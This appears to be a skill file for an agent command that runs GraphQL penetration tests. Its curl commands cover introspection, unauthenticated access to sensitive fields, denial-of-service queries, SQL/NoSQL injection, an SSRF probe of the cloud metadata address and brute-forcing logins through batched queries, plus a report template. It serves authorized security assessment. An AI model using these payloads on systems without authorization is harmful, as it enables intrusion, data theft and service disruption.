Vapt GRAPHQL

GraphQL Security Testing

When Invoked

The user runs /vapt graphql <url> for deep GraphQL-specific security testing.

This is a specialized extension of vapt-api. While vapt-api covers basic GraphQL checks (introspection, depth, batching), this skill provides comprehensive GraphQL attack surface analysis.

Phase 1: GraphQL Discovery & Fingerprinting

1.1 Endpoint Detection

# Common GraphQL endpoint paths
for path in /graphql /graphiql /v1/graphql /v2/graphql /api/graphql /query /gql /graphql/console /altair /playground; do
    code=$(curl -s -o /dev/null -w "%{http_code}" -X POST \
        -H "Content-Type: application/json" \
        -d '{"query":"{__typename}"}' <url>$path)
    [ "$code" != "404" ] && [ "$code" != "405" ] && echo "GraphQL candidate: $path ($code)"
done

1.2 Engine Fingerprinting

Identify the GraphQL server implementation:

# Apollo Server detection
curl -s -X POST -H "Content-Type: application/json" \
    -d '{"query":"{__typename}"}' <url>/graphql | grep -i apollo

# Check for engine-specific headers
curl -sI -X POST -H "Content-Type: application/json" \
    -d '{"query":"{__typename}"}' <url>/graphql

Look for indicators of:

• Apollo Server (Node.js)
• graphql-yoga (Node.js)
• Hasura (auto-generated)
• AWS AppSync
• Graphene (Python)
• graphql-java
• Strawberry (Python)
• Hot Chocolate (.NET)

Engine detection informs which vulnerabilities are most likely.

Phase 2: Schema Reconnaissance

2.1 Full Introspection Query

curl -s -X POST -H "Content-Type: application/json" \
    -d '{"query":"{ __schema { queryType { name } mutationType { name } subscriptionType { name } types { name kind description fields(includeDeprecated: true) { name description args { name type { name kind ofType { name kind } } } type { name kind ofType { name kind } } isDeprecated deprecationReason } inputFields { name type { name kind ofType { name kind } } } enumValues { name } possibleTypes { name } } directives { name description locations args { name type { name kind ofType { name kind } } } } } }"}' \
    <url>/graphql

2.2 Partial Introspection (if full is blocked)

Some servers block full introspection but allow partial:

# Try querying specific types
curl -s -X POST -H "Content-Type: application/json" \
    -d '{"query":"{ __type(name: \"User\") { name fields { name type { name } } } }"}' \
    <url>/graphql

# Try field suggestions (error-based schema discovery)
curl -s -X POST -H "Content-Type: application/json" \
    -d '{"query":"{ users { nonexistentfield } }"}' \
    <url>/graphql

Many servers return "Did you mean..." suggestions, leaking field names.

2.3 Schema Analysis

From the introspection result, extract:

• All query types (read operations)
• All mutation types (write operations)
• All subscription types (real-time operations)
• Custom scalar types
• Enum values (may contain sensitive data like roles, statuses)
• Deprecated fields (may have weaker security)
• Input types (attack surface for injections)

2.4 Scoring

Phase 3: Authorization Testing

3.1 Query-Level Authorization

For each query type discovered, test access without authentication:

# Test unauthenticated access to each query
for query in users orders payments admin_settings; do
    curl -s -X POST -H "Content-Type: application/json" \
        -d "{\"query\":\"{ $query { id } }\"}" <url>/graphql
done

3.2 Field-Level Authorization

Test if sensitive fields are accessible:

# Access user query but request sensitive fields
curl -s -X POST -H "Content-Type: application/json" \
    -d '{"query":"{ users { id email passwordHash ssn creditCard } }"}' \
    <url>/graphql

3.3 Mutation Authorization

Test if mutations are properly restricted:

# Try admin mutations with regular user token
curl -s -X POST -H "Content-Type: application/json" \
    -H "Authorization: Bearer <regular_user_token>" \
    -d '{"query":"mutation { deleteUser(id: \"other_user\") { success } }"}' \
    <url>/graphql

3.4 Scoring

Phase 4: Denial of Service Attacks

4.1 Query Depth Attack

Test for query depth limits:

# Deeply nested query (adjust field names based on schema)
curl -s -X POST -H "Content-Type: application/json" \
    -d '{"query":"{ users { friends { friends { friends { friends { friends { friends { friends { id name } } } } } } } } }"}' \
    <url>/graphql

Measure response time and check for errors.

4.2 Query Complexity / Cost Analysis

# Wide query requesting many fields on many records
curl -s -X POST -H "Content-Type: application/json" \
    -d '{"query":"{ users(first: 10000) { id name email orders { id total items { id name price } } friends { id name } } }"}' \
    <url>/graphql

4.3 Circular Fragment Attack

# Fragment-based circular reference
curl -s -X POST -H "Content-Type: application/json" \
    -d '{"query":"query { users { ...A } } fragment A on User { friends { ...B } } fragment B on User { friends { ...A } }"}' \
    <url>/graphql

4.4 Alias-Based Attack

# Use aliases to multiply the same expensive query
curl -s -X POST -H "Content-Type: application/json" \
    -d '{"query":"{ a1: users { id } a2: users { id } a3: users { id } a4: users { id } a5: users { id } a6: users { id } a7: users { id } a8: users { id } a9: users { id } a10: users { id } }"}' \
    <url>/graphql

4.5 Scoring

Phase 5: Injection Testing

5.1 SQL Injection via GraphQL

Test all input parameters (query args, mutation inputs):

# SQLi in query argument
curl -s -X POST -H "Content-Type: application/json" \
    -d '{"query":"{ user(id: \"1 OR 1=1\") { id name } }"}' \
    <url>/graphql

# SQLi in search/filter
curl -s -X POST -H "Content-Type: application/json" \
    -d "{\"query\":\"{ users(search: \\\"' OR '1'='1\\\") { id name } }\"}" \
    <url>/graphql

5.2 NoSQL Injection

For Hasura/MongoDB-backed GraphQL:

curl -s -X POST -H "Content-Type: application/json" \
    -d '{"query":"{ users(where: {name: {_regex: \".*\"}}) { id name } }"}' \
    <url>/graphql

5.3 SSRF via GraphQL

Test if any field accepts URLs that the server fetches:

curl -s -X POST -H "Content-Type: application/json" \
    -d '{"query":"mutation { importData(url: \"http://169.254.169.254/latest/meta-data/\") { result } }"}' \
    <url>/graphql

5.4 Scoring

Phase 6: Batching & Rate Limit Bypass

6.1 Query Batching

# Send array of queries in single request
curl -s -X POST -H "Content-Type: application/json" \
    -d '[
        {"query":"mutation { login(email: \"admin@test.com\", password: \"pass1\") { token } }"},
        {"query":"mutation { login(email: \"admin@test.com\", password: \"pass2\") { token } }"},
        {"query":"mutation { login(email: \"admin@test.com\", password: \"pass3\") { token } }"},
        {"query":"mutation { login(email: \"admin@test.com\", password: \"pass4\") { token } }"},
        {"query":"mutation { login(email: \"admin@test.com\", password: \"pass5\") { token } }"}
    ]' <url>/graphql

If all 5 execute in one HTTP request, batching bypasses per-request rate limiting.

6.2 Alias-Based Rate Limit Bypass

# Multiple login attempts via aliases in a single query
curl -s -X POST -H "Content-Type: application/json" \
    -d '{"query":"mutation { a1: login(email: \"admin@test.com\", password: \"pass1\") { token } a2: login(email: \"admin@test.com\", password: \"pass2\") { token } a3: login(email: \"admin@test.com\", password: \"pass3\") { token } }"}' \
    <url>/graphql

6.3 Scoring

Phase 7: Subscription Security

7.1 WebSocket Subscription Access

If subscriptions are available (usually via WebSocket):

# Test if subscriptions require authentication
# Connect to ws://<domain>/graphql and send:
# {"type":"connection_init","payload":{}}
# {"type":"subscribe","id":"1","payload":{"query":"subscription { newMessages { id content sender } }"}}

7.2 Subscription Enumeration

Can subscriptions leak data intended for other users?

7.3 Scoring

Phase 8: Output

Terminal Output

Dev mode: Explain GraphQL attack surface, why introspection is dangerous, how batching bypasses security, schema-aware attack strategies.

Pro mode: Schema summary + findings table.

VAPT-GRAPHQL.md

# VAPT GraphQL Security Report

## Target: <url>
## Endpoint: <graphql_path>
## Engine: <detected engine>
## Date: <timestamp>

## Schema Summary
| Type | Count |
|------|-------|
| Queries | X |
| Mutations | X |
| Subscriptions | X |
| Custom Types | X |

## Introspection
<enabled/disabled, partial leak results>

## Authorization
| Operation | Unauth | User | Admin |
|-----------|--------|------|-------|

## DoS Resistance
| Check | Status |
|-------|--------|
| Query depth limit | ... |
| Complexity limit | ... |
| Circular fragments | ... |
| Alias limit | ... |

## Injection Results
<SQL/NoSQL/SSRF findings>

## Batching & Rate Limits
<batching and rate limit bypass results>

## Subscription Security
<subscription access control results>

## Findings
<scored findings with CVSS>

## Suggested Next Steps
- /vapt inject <url> -- test non-GraphQL endpoints for injections
- /vapt auth <url> -- test authentication mechanisms
- /vapt report <url> -- compile full report

Cross-Skill Integration

• GraphQL findings feed into vapt-api composite assessment
• Injection findings also count toward the injection category in Security Posture Score
• Schema discovery expands the attack surface for other skills